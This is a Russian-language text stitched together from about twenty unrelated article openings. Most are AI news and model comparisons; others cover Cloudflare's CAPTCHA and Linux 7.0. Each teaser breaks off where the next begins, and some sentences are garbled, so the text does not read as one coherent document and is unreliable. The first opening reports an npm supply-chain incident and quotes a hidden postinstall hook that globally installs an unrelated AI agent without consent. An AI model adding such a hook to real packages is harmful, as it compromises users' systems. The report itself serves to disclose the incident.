17 февраля 2026 года в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт. Лишь в файле package.json притаилась одна лишняя строчка:

"postinstall": "npm install -g openclaw@latest"

В течение следующих восьми часов каждый разработчик, решивший установить или обновить Cline, невольно устанавливал OpenClaw. Это отдельный ИИ-агент с полным доступом к системе, который устанавливался глобально и без какого-либо спроса. Пакет успели скачать около 4000 раз, прежде чем его удалили из общего доступа.

Пятница, семь вечера. До закрытия многомиллионной сделки по слиянию остаются считанные часы, и тут юристы покупателя сбрасывают вам в почту бомбу.

В письме — контракт, вдоль и поперек исполосованный красными правками: новые условия эскроу, жесткие отказы от претензий и перекроенный график закрытия. Подтекст читается между строк: либо вы подписываете это к утру понедельника, либо сделка отменяется.

Если вы работаете в классической юридической конторе на Уолл-стрит или в Кремниевой долине, этот сценарий запускает болезненный, доведенный до автоматизма протокол. Седовласые партнеры бьют тревогу. Тройку-пятерку младших юристов отправляют на принудительную ночную вахту. Клиенту капают тысячи долларов в час, пока люди с воспаленными от недосыпа глазами вручную сверяют сотни страниц зубодробительного юридического текста.

Зак Шапиро, выпускник Йеля и экс-адвокат элитной фирмы Davis Polk & Wardwell, столкнулся именно с таким кошмаром. Но он не стал поднимать команду по тревоге. Не заваривал литры ночного кофе. И не выставлял клиенту счет за сорок часов панической суеты.

Вместо этого он загрузил документы в нейросеть Claude, отправил ей выверенный набор инструкций и спокойно пошел по своим делам. К одиннадцати вечера в ящике покупателя уже лежало железобетонное встречное предложение. На следующее утро сделка закрылась без единой заминки.

Манхэттенская фирма Шапиро Rains LLP, состоящая всего из двух человек, играючи жонглирует сложнейшими сделками с венчурным капиталом и M&A (слияния и поглощения), для которых традиционно требуется целая армия юристов. Его недавний тред в X (бывший Twitter) с разбором этого процесса произвел эффект разорвавшейся бомбы, собрав более 7 миллионов просмотров.

Прошли времена, когда нейросети казались далекими технологиями будущего. Сегодня они стали неотъемлемой частью нашей повседневной жизни. Мы доверяем им написание писем, создание музыки, редактирование фотографий и придумывание идей для проектов. Кажется, единственным, чего им пока недостаёт, является способность сварить кофе утром... хотя, скорее всего, это тоже скоро изменится.

Ещё недавно технологии были первые попытки анимации старых снимков выглядели забавными и немного нелепыми. Теперь же нейросети создают картины, пишут фильмы и генерируют видеоролики настолько реалистично, что отличить их от настоящих почти невозможно. Со временем мы привыкли к этому прогрессу и больше не воспринимаем его как нечто экстраординарное.

Однако прогресс породил новую проблему: переизбыток возможностей. Ежедневно возникают новые сервисы, обещающие облегчить нашу жизнь и автоматизировать любые задачи. Это привело к трудному выбору среди множества вариантов.Для вашего удобства мы составили список из десяти лучших бесплатных нейросетей, которые подходят практически ко всем ситуациям. Конечно, многие из них предлагают платные премиум-функции, но сегодня поговорим исключительно о бесплатном функционале.

Приятного прочтения!

Возникает особое, специфическое чувство тревоги, когда генеральный директор одной из самых могущественных компаний на Земле прямо на камеру говорит вам не доверять его собственному продукту.

Именно это произошло, когда Сундар Пичаи — тихий, интеллигентный, но невероятно влиятельный CEO Google — дал интервью телеканалу BBC в штаб-квартире компании в Маунтин-Вью. Никаких рекламных роликов. Никаких пустых обещаний. Просто пугающе честный разговор о технологии, которая прямо сейчас перекраивает наш мир: об искусственном интеллекте.

И то, что он сказал, совершенно не вяжется с образом человека, чья компания только что влила в ИИ-инфраструктуру более $90 миллиардов за один год.

Давайте разберем это по полочкам.

Если вы хоть раз пытались сгенерировать картинку в нейросети, вы знаете этот фокус. Пишешь: "Красивый закат на море, девушка с зонтиком, реализм". Получаешь: девушку с шестью пальцами, зонтик, парящий в воздухе, и закат ядерного взрыва. Знакомо?

Последние полгода на рынке генеративных моделей творится что-то невероятное. Сначала Google DeepMind тихо, без лишнего шума, выпустила Nano Banana Pro (она же Gemini 3 Pro Image Preview). А через пару месяцев OpenAI выкатила GPT Image 1.5, пообещав ускорение в 4 раза и прорывное качество.

И началось. В одних обзорах Nano Banana Pro называют королём фотореализма и скорости. В других - ругают за полное непонимание русского языка. Про GPT Image 1.5 пишут, что он наконец-то научился редактировать изображения, но тут же жалуются, что он тормозит и режет текст на полуслове.

Кто врёт? Да никто. Просто модели реально разные. И задачи у них разные.

Я решила не гадать на кофейной гуще, а устроить этим двум художникам полноценный конкурс. Взяла 8 промптов разной степени извращённости, прогнала каждую модель по 3-5 раз, замерила скорость, проверила анатомию, русский язык, редактирование и способность помнить персонажа от кадра к кадру.

Выбрать лучшую не получится. Придётся выбирать под свою задачу. Но после этой статьи вы будете знать точно, какая модель для чего нужна.

Поехали, приятного прочтения!

Я отдал исследованиям искусственного интеллекта двадцать лет жизни. На моих глазах эта сфера превратилась из забавной академической игрушки в несущую конструкцию современного мира. Я видел, как накатывают и разбиваются волны хайпа. Я до хрипоты спорил с паникерами, доказывая, что все эти сценарии судного дня — не более чем дешевая фантастика.

На этой неделе я замолчал.

Война обладает такой первобытной жестокостью, которую не способна уловить ни одна сухая техническая статья. Она стирает в пыль семьи. Она ломает человеческие судьбы так, как никогда не покажет официальная статистика потерь. И все эти двадцать лет я утешал себя одной мыслью: во что бы ни эволюционировал ИИ, он точно не станет этим. Он не превратится в безмолвный, невидимый винтик внутри машины для убийств. Эта моральная черта казалась мне высеченной в камне. Казалось, вся наша индустрия это понимает.

Но черта оказалась иллюзией.

И вот с какой мыслью я прошу вас свыкнуться, прежде чем вы продолжите чтение: то, что произошло на этой неделе, — это не просто политический анекдот о том, как Трамп запретил технологию, на которой, как выяснилось, держится его же собственная армия. Это материализация того самого кошмара, вокруг которого исследователи ИИ годами ходили на цыпочках. Угроза того, что, как только вы создаете нечто по-настоящему могущественное, вопрос о его превращении в оружие перестает быть философским. Он становится сугубо операционным. Он становится просто рутиной буднего дня.

Жертвы войн заслуживают нашей скорби. Но они также заслуживают того, чтобы мы не отводили взгляд от технологий, которые сделали их смерть быстрее и эффективнее.

Любая технологическая революция начинается одинаково. Сначала вода едва доходит вам до щиколоток, а в следующую секунду вы уже идете ко дну.

В конце 2025 года легендарный инвестор Говард Маркс (тот самый, что предсказал крах доткомов в нулевых и ипотечный кризис в 2008-м) задался простым вопросом: «А не раздули ли мы из ИИ очередной финансовый пузырь?» Уолл-стрит в то время трясло. В серверные фермы вливались триллионы долларов. Стартапы без единого готового продукта поднимали по два миллиарда инвестиций при оценке в пятьдесят. Синдром упущенной выгоды (FOMO) пробил потолок.

Но пару месяцев спустя, в феврале 2026-го, Маркс сделал нестандартный ход. Он попросил нейросеть Claude от Anthropic составить для него персональный курс, который объяснил бы ее же собственную эволюцию. В ответ прилетело эссе на 10 000 слов. Оно читалось так, будто его написал ваш самый гениальный коллега: ИИ предугадывал сомнения Маркса, бил его же собственными инвестиционными правилами и безжалостно раскладывал по полочкам, что ждет экономику в ближайшие десять лет.

И тут Маркс понял: спорить о том, пузырь это или нет — значит вообще не видеть слона в комнате. Перед нами не просто очередная финансовая лихорадка. Мы присутствуем при историческом моменте — человек теряет монополию на мышление.

Вот что самый проницательный инвестор в мире понял о скрытых пружинах ИИ-бума, пугающем переходе к автономным агентам и о том, как нам всем выжить в новой экономике.

Искусственный интеллект — это новая экономическая революция! Он отвяжет экономический рост от человеческого труда, обеспечит безграничное развитие и приведет нас в новую эру процветания. Именно этот нарратив использовался для оправдания поистине колоссальных инвестиций в технологии. В прошлом году Бигтех потратил на ИИ $400 миллиардов. Этого хватило бы, чтобы искоренить мировой голод на целое десятилетие! Но в этом году они готовы потратить на ИИ уже $700 миллиардов.

Действительно, некоторые экономисты заявляли, что эти инвестиции стимулировали экономику США. Аналитики Deutsche Bank подсчитали, что почти весь рост ВВП США был обеспечен инвестициями в ИИ, и без них страна находилась бы в функциональной рецессии. Профессор экономики Гарвардского университета Джейсон Фурман поддержал эту мысль, заявив, что ИИ обеспечил 92% роста ВВП США в первой половине 2025 года.

Так стал ли ИИ тем экономическим чудом, которое нам обещали? Что ж, нет. Экономисты начинают заглядывать чуть глубже рекламных проспектов и обнаруживают, что эти библейские инвестиции привели к «практически нулевому» экономическому росту.

Такое заявление сделал главный экономист Goldman Sachs Ян Хациус. В интервью Atlantic Council Хациус отметил, что расходы на ИИ внесли «практически нулевой» вклад в рост ВВП США в 2025 году. Он прямо сказал: «На самом деле мы не рассматриваем инвестиции в ИИ как сильно стимулирующие рост» и добавил, что «влияние инвестиций в ИИ на рост ВВП США в 2025 году сильно искажается в прессе, и оно гораздо меньше, чем принято считать».

Отложите кофе и закройте IDE, друзья. Если вы думали, что Google возьмет паузу после релиза монументального Gemini 3, чтобы отдышаться и пофиксить баги, то у Сундара Пичаи были другие планы.

Если вы думали, что у вас есть время спокойно изучить документацию, забудьте. Только за последний месяц рынок превратился в кипящий котел: OpenAI выкатили GPT-5.3, Anthropic ответили мощнейшим Claude 4.6 Opus, и даже Илон Маск ворвался в чат с бетой Grok 4.20. Голова идет кругом...

И вот, посреди этого безумия, Google делает свой ход - обновляет флагман до Gemini 3.1.

Пока маркетологи трубят об успехе, многие реальные пользователи пожимают плечами: «Ребята, я гоняю её второй день и в упор не вижу разницы с обычной тройкой». Многие всерьез считают, что Google просто переклеил шильдик, слегка подкрутил веса и выдал минорный патч за новый продукт, чтобы не потеряться в новостной ленте на фоне конкурентов.

Сегодня мы отбросим пресс-релизы в сторону. Мы возьмем старую добрую Gemini 3, поставим её лицом к лицу с новенькой 3.1 и выясним: действительно ли это шаг вперед, или нам пытаются продать то же самое, просто под новым номером версии.

Погнали разбираться!

«Подожди. Скажи еще раз. Сколько этапов собеседований ты прошла?»

«Десять».

«Ты имеешь в виду с 10 разными людьми, верно? Ты поговорила с десятью сотрудниками?»

«Нет. Десять отдельных, индивидуальных, запланированных этапов интервью. В общей сложности, наверное, человек с тридцатью. За три месяца».

И она не получила эту работу. На ее месте я бы, наверное, сжег их офис. И я не на 100 процентов уверен, что шучу.

Однако такой процесс становится нормой. На самом деле, я всё чаще слышу о так называемых «петлях собеседований» (interview loops), которые длятся месяцами. Кандидата прогоняют через десятки интервьюеров: от HR в роли «доброго полицейского» до потенциальных коллег, будущих начальников и даже потенциальных подчиненных. Да, я знаю, «подчиненные» — звучит грубовато, но у меня есть причина использовать это слово.

Возможно, вы заметили, что я назвал это «петлей» собеседований. Я не придумывал этот термин и не претендую на авторство. Иначе меня бы засудили.

Потому что угадайте, кто изобрел, ввел в оборот и, возможно, даже запатентовал этот термин?

Да. Это главная проблема современного найма, и запустил ее Amazon.

Искусственный интеллект обладает настолько колоссальным влиянием, что меняет мир не столько благодаря своим реальным возможностям, сколько благодаря возможностям, которые ему приписывают. Он словно призрак: мы его не видим, но люди все равно его боятся.

Его влияние настолько велико, что он стал главным инструментом для массовых сокращений, хотя совершенно не заслуживает этой медали.

Великие ИИ-увольнения уже начались, и этот феномен можно смело назвать «ИИ-камуфляжем». Позвольте мне объяснить, почему всё это — не более чем массовая манипуляция сознанием.

Все уже знают, что в феврале от Claude вышли модели версии 4.6. Я попытался сравнить Opus и Sonnet, но результат оказался каким-то невнятным. Тогда родился вопрос: а что, если сравнивать не горизонтально, а вертикально? Ведь для меня Sonnet – это прежде всего генерация текста. Раньше, на версии 4.5, он делал это на хорошем уровне. А что же сейчас?

Сегодня я выясняю, кто кого: Sonnet 4.5 против Sonnet 4.6. В упор сойдутся два поколения одной модели. Нейронки пройдут через генерацию текста и взаимодействие с ним. Это нужно для того, чтобы понять: изменилось ли что-то, стало лучше или хуже по восприятию? Конечно, все будет сугубо по моему личному мнению и я не могу дать гарантий, что оно сойдется с вашим. Принимайте стратегически удобное положение, ну а я приступаю.

Технологические визионеры хотят, чтобы мы боялись искусственного интеллекта. Они без устали твердят о том, что ИИ скоро оставит нас без работы, станет пугающе сверхразумным, но при этом уверяют, что эти системы жизненно необходимы для глобальной экономики. Конечно, многие из этих заявлений — не более чем манипуляция, о чем я и многие другие аналитики говорили уже не раз. Не стоит слепо верить маркетингу. Однако есть один аспект ИИ, который действительно должен вызывать тревогу: долги.

Сам по себе ИИ-пузырь не так страшен. Страшно то, что через долговые обязательства он намертво привязан к самому фундаменту нашей экономики. Другими словами, когда этот пузырь неизбежно лопнет, он почти наверняка потянет за собой всех остальных. Мы давно знали об этой бомбе замедленного действия, но по мере того, как накапливается «искусственный долг», она все больше напоминает бомбу ядерную. Позвольте мне объяснить.

Две недели. Именно столько понадобилось, чтобы гонка ИИ-гигантов превратилась в полноценную войну миров.

5 февраля Anthropic выпускает Claude Opus 4.6 – короля экспертных задач, который мгновенно захватывает вершины рейтингов качества и пользовательских симпатий. Ажиотаж, восторг, заголовки.

Но 19 февраля Google берёт паузу... и выстреливает Gemini 3.1 Pro. Результат? +46 процентных пунктов в тесте ARC-AGI-2 (77,1% против 31,1% у предшественника), лидерство в 12 из 18 бенчмарков и ценник, от которого у конкурентов округляются глаза.

Gemini 3.1 Pro вдвое обходит предшественника в тестах на рассуждение, стоит в 6,5 раза дешевле флагмана конкурента и штампует 3D-симуляции птичьих стай по текстовому описанию. Claude Opus 4.6, который не гонится за скоростью, а размышляет вслух, взвешивает моральные дилеммы и остаётся любимцем людей в слепых тестах.

Как не запутаться в этом треугольнике и выбрать модель под свои задачи? И почему эксперты в финансах и юриспруденции отдают предпочтение Sonnet 4.6, оставляя “тяжеловесов” далеко позади?

Разобрали 18 бенчмарков, чтобы вы поняли, за какой моделью – ваше завтра. В этом материале мы свели все цифры, графики и пользовательские ощущения, чтобы у вас была полная картина февральской перезагрузки. Узнайте, какая модель сделает вашу работу лучше, быстрее и дешевле и кто победит в этой дуэли – цифровой гений-отличник или философ с душой.

Когда лидеры индустрий обретают слишком много власти, происходит нечто странное. Они начинают чувствовать себя настолько комфортно, что порой забывают поддерживать свой публичный образ, позволяя нам заглянуть за кулисы и увидеть их истинные намерения. Кажется, технологические визионеры сейчас находятся именно на этом этапе своей эволюции, что недавно прекрасно продемонстрировал Сэм Альтман. Он и раньше был известен своими громкими заявлениями об ИИ, но на этот раз превзошел самого себя, обнажив весьма тревожную философию. Вопрос в том, сможем ли мы вовремя распознать этот тревожный сигнал?

О чем идет речь? Во время недавнего интервью Альтман довольно эмоционально отреагировал на «несправедливые», по его мнению, сравнения энергоэффективности ИИ и человека. Он заявил: «Люди говорят о том, сколько энергии уходит на обучение ИИ-модели... Но на обучение человека тоже уходит много энергии. Требуется около 20 лет жизни и вся еда, которую вы съедаете за это время, прежде чем вы поумнеете».

На первый взгляд, это может показаться невинной аналогией, попыткой оправдать текущие колоссальные затраты на ИИ. Но проблема в том, что это сравнение абсолютно некорректно. Более того, оно обесценивает саму человеческую природу, сводя нас лишь к потреблению калорий, и намекает на то, что глобальная философия Альтмана может иметь пугающе антигуманный характер.

На этой неделе произошла история, которую почти не заметили крупные СМИ, но она обнажила тектонический сдвиг в американской политике. Во вторник утром министр обороны Пит Хегсет вызвал Дарио Амодеи, CEO компании Anthropic, на ковер в Пентагон, чтобы обсудить военное применение их нейросети Claude. Но это был не дежурный разговор о контракте на 200 миллионов долларов и не мелкий спор о пользовательском соглашении. На деле Министерство обороны буквально выкручивает руки ИИ-компании, требуя убрать последние этические барьеры, чтобы использовать модель для массовой слежки за гражданами внутри страны и ведения войн с помощью автономного оружия без надзора человека.

Как сообщает Axios, посыл Пентагона к Anthropic был предельно жестким: «или делай, что говорят, или проваливай». Компании пригрозили повесить на нее ярлык «угрозы цепочке поставок» — клеймо, которое обычно берегут для поставщиков, связанных с враждебными государствами. В переводе на человеческий язык это означает изгнание из оборонного сектора и негласное давление на любую компанию, работающую с Пентагоном, с требованием отказаться от использования Claude.

Немного контекста: прошлым летом Anthropic подписала с Минобороны контракт на $200 млн, сделав Claude единственной ИИ-моделью, допущенной в секретные военные сети США. Claude, работая через сверхсекретное облако Amazon и ИИ-платформу Palantir, уже использовался в военной операции по похищению президента Венесуэлы Николаса Мадуро.

Если вы хоть раз пробовали серьезно работать с ChatGPT или Midjourney, вы знаете это чувство легкого разочарования. Нет, не когда нейросеть тупит и пишет полный бред, это как раз нормально. А когда ты потратил 40 минут, подобрал идеальные формулировки, а на выходе получил какую-то чушь с тремя левыми руками и текстом, где Россия написал через два Ы.

Самое обидное, что в 90% случаев проблема не в нейросети, а в нас. Вернее, в том, как мы с ней разговариваем.

Я сама прошла этот путь. Когда только начинала, мои промпты выглядели как заклинания начинающего волшебника: «Сделай красиво, ну пожалуйста». Но красиво не получалось, вообще ничего не получалось. Зато я стала экспертом по генерации мутантов с шестью пальцами и текстам, от которых хочется зарыдать и уйти в монастырь.

Сейчас, спустя сотни часов экспериментов и несколько тысяч сгенерированных картинок, я составила список самых частых ошибок. Тех, которые реально мешают получить результат и заставляют платить, или ждать, снова и снова.

В этой статье разберем 10 главных ошибок при работе с ИИ.

Вы это видели. Миллиарды раз. Но вряд ли запомнили. Небольшое окно с галочкой. Полноэкранная проверка перед входом на сайт. Что‑то, что встаёт между вами и нужной страницей и вежливо (или не очень) просит: “Докажите, что вы человек”.

Для всех это рутина. Лёгкое раздражение, которое мы научились не замечать. Но задумайтесь: какой интерфейс встречается в интернете чаще всего? “Гугл”? “Ютуб”? Нет.

Самый частый интерфейс в мире – это маленький турникет от Cloudflare. 7,67 миллиарда показов в день. Это больше, чем население Земли. И всё это время мы смотрели на него, но не видели. А если и видели, то, скорее всего, с мыслью: “Опять эта дурацкая капча”.

В Cloudflare решили, что с этим пора что‑то делать. Потому что даже у турникета есть право быть человечным.

Рассказываем, как компания перепридумала интерфейс, который видят все.

Семь миллиардов устройств. Тридцать пять лет истории. Linux 7.0 — это первое крупное обновление мажорной версии с 2022 года, и на этот раз цифра действительно имеет вес.

Ядро Linux — это та самая невидимая прослойка между вашим железом и всем, что вы делаете за компьютером. Именно оно решает, как ваш телефон общается с экраном и как Netflix стримит сериалы на ваш телевизор.

На нём работает Android. На нём держится большая часть интернета. Когда ядро меняется, миллиарды устройств в конечном итоге это чувствуют — замечаете вы это или нет.

Линус Торвальдс подтвердил смену версии и, в своей типичной манере, объяснил это простой арифметикой. «Я дошел до того момента, когда начинаю путаться в больших числах», — написал он. По его словам, у него уже почти закончились пальцы на руках и ногах, чтобы их считать.

Ядро прошло путь от 2.6 до 3.0, от 4.20 до 5.0, от 5.19 до 6.0. И вот теперь 6.19 превращается в 7.0. Никаких технических революций, привязанных к дате. Никаких сломанных API. Просто красивая цифра.

Но иногда новые крутые фичи идеально совпадают с символизмом момента. Только за первую половину окна слияния (merge window) в Linux 7.0 влилось 7 695 коммитов. Пятилетний эксперимент официально подошел к концу, в ядро завезли постквантовую криптографию и впервые прописали официальные правила для кода, сгенерированного нейросетями.

Я профессионально работаю с Linux уже больше 20 лет: в телекоме, цифровой медицине и deep-tech проектах. Я видел, как выходят и уходят разные версии ядра.

Какие-то из них важны. Какие-то — проходные. Но эта — действительно имеет значение.

Этот месяц оказался достаточно насыщенным в плане новых моделей. Пока одни разработчики только анонсировали обновления, другие уже успели выкатить полноценные релизы. В итоге февраль подарил нам сразу несколько громких новинок: Gemini 3.1 Pro, ChatGPT 5.3 Codex, Nano Banana 2, Seedance 2.0 – и, конечно, главных для сегодняшней статьи: Claude Sonnet 4.6 и Claude Opus 4.6.

Обе модели от Anthropic я уже успел поюзать достаточно, чтобы составить о них какое-то мнение. Именно поэтому решил не держать тесты при себе, а оформить их в сравнение – как это уже было в прошлой статье про ChatGPT 5.2 Pro и Gemini 3.1 Pro.

Сразу скажу: никакого официального крупного бенчмарка здесь не будет. Это сугубо личный эксперимент, затеянный из собственного любопытства. Тем не менее, если вы сами выбираете между этими двумя моделями или просто следите за развитием ИИ, возможно, статья поможет вам подметить что-то полезное: плюсы, минусы, неочевидные нюансы каждой из версий.

Что ж, принимайте стратегически удобное положение – я приступаю.